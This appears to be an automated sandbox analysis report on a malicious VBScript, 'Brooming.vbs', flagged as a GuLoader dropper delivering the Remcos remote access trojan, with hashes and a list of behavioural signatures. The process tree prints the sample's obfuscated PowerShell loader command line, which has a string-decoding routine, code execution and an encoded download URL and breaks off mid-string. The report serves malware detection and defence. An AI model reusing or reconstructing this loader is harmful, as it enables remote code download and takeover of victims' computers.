Edit tour
Windows
Analysis Report
Brooming.vbs
Overview
General Information
| Sample name: | Brooming.vbs |
| Analysis ID: | 1578025 |
| MD5: | fbcaeb4144c55d299c7703277c01c329 |
| SHA1: | bc1b38c0454d1badf6ce204029a856a971f156c1 |
| SHA256: | 6c6329c8ab3fa52c199cbbf9b270f8faaa05dc74d7f78cbd5ac8bbea61ef49bc |
| Tags: | vbsuser-abuse_ch |
| Infos: |   |
 | |
Detection
Remcos, GuLoader
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Detected Remcos RAT
Early bird code injection technique detected
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
VBScript performs obfuscated calls to suspicious functions
Yara detected GuLoader
Yara detected Powershell download and execute
Yara detected Remcos RAT
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Creates autostart registry keys with suspicious names
Found suspicious powershell code related to unpacking or dynamic code loading
Potential malicious VBS script found (suspicious strings)
Queues an APC in another process (thread injection)
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Checks if the current process is being debugged
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to dynamically determine API calls
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Drops PE files
Drops PE files to the application program directory (C:\ProgramData)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found evasive API chain (may stop execution after checking a module file name)
Found evasive API chain checking for process token information
Found large amount of non-executed APIs
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
PE file contains sections with non-standard names
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Msiexec Initiated Connection
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64
wscript.exe (PID: 1592 cmdline: C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\Broom ing.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) 
powershell.exe (PID: 3664 cmdline: "C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" "echo $Sar cosome; fu nction Rel ationsdata basemodell en($Omgnge lsernes){$ Skinfulndu strivirkso mheden=4;$ Skinful=$S kinfulndus trivirksom heden;do{$ Klasselott eriets+=$O mgngelsern es[$Skinfu l];$Skinfu l+=5} unti l(!$Omgnge lsernes[$S kinful])$K lasselotte riets}func tion Woodr anger($Hen equen){ .( $Ludgate) ($Henequen )}$Akvavit ters3=Rela tionsdatab asemodelle n 'Vif nS miernketBr id. SliW'; $Akvavitte rs3+=Relat ionsdataba semodellen 'Styre Ov eB dspc.en eL SynICab oEAstinCon vt';$groun ds=Relatio nsdatabase modellen ' Sh,mMsammo ,dhz enbi Mindl elpl tidsa N,n/ ';$Komitad ji=Relatio nsdatabase modellen ' KlebT Lowl Eft sBrie1 Albu2';$Pa rodi='P al [ oseNcape eEkspTVild .G.noSBoul ELic.RTilb vAmasi Sa. cWindeNon, PGenno Bar iArchnLi n TTinkmLit. akol N Bed aSnekgOrch EB,virLina ]Rgni:Fors :SupesInfe ERorpcT ls Usp nRVen ivurdt unl yLokaP H l rGastOIndh t G nOSti cOpdrOStan LC ha=Gibb $ M rkSlar O Liqm sur IPo,tTRe,s APrehdLa.t JRednI';$g rounds+=Re lationsdat abasemodel len 'Thr.5 Logg.,egl0 Ung D,se( RekWBasiiS krinPremd AlloFasewT lbs win R e mN SveTh jem Feri1D enu0swit.m eda0Di p;V and ArpW S eliDiskn , vi6Inst4Ef te;P.os To cxdobb6 Un p4augu; S, o Or fr Pa svluna:Pa, c1Bldt3Hje r1H mr.Con t0Arch)Fir e KnacGFlo keCom cAnt ik taloDos e/Sy p2Ind e0Varm1Und e0eigh0Ape s1Hexa0Foo t1Sacc Pre fF PutiDi prClume Kv fStado py lxChil/Fje r1Germ3Unt i1Slad.Loc u0';$Sinec urist=Rela tionsdatab asemodelle n 'Hemmu M ,nsTurkEBi o r Per-Re trAT.trgFl uoEAn,iNUb nht';$stat sretten=Re lationsdat abasemodel len 'Spath Hjadt pstt Aerpskols Udbo: Fin/ Myt/M veo BetofTurr1 Ch oxK ll. GodpiUnjuc jouruconr/ GoblpSyndn T.ksTA atC Ep.lVaniI JudejschaB Spir/DepeS dowh ineo DecitMarts UniotAnhoa RetrrV nd. Achep Tits ,osd';$Be ntjs=Relat ionsdataba semodellen 'vilj>';$ Ludgate=Re lationsdat abasemodel len 'F eei Ko,bEEnk X ';$Anticip erede='Fil tercigaret s';$Gushy= '\Knapmage rens.Stu'; Woodranger (Relation sdatabasem odellen 'H yp $FestgU synL CowOP hasbEr dA DeplBegy:M niBI.niNL ystd orpsU ncoLLazyeA leTFrejSP ibe=Cut.$P jasE uinAl leVAd n:Af sia OliPNa vlpO toDJa m.aDrjdT d erA,ree+T. ea$RenrGBi lbUU frS G .khmosey') ;Woodrange r (Relatio nsdatabase modellen ' Vil$ Glag h nllDelto RetrBQuoha BarbLBrn.: ConcMMisaY prASdfilP e.ogPaddiT ypecInfr=F err$AbiusM armTSnebaA fruTConcS TekRPlaneH aret port utoe nkNU ie.Depus,n viPOleslPa p IHoltTDe al(Exos$Co cB.iogECo ornEtt.TSu l J SlesIt em)');Wood ranger (Re lationsdat abasemodel len $Parod i);$statsr etten=$Mya lgic[0];$P yemesis=(R elationsda tabasemode llen 'Draa $GeckGCo t L garOEf e BFor.AFlui l nfa:Rese Y Kv oBrug mBioleSkri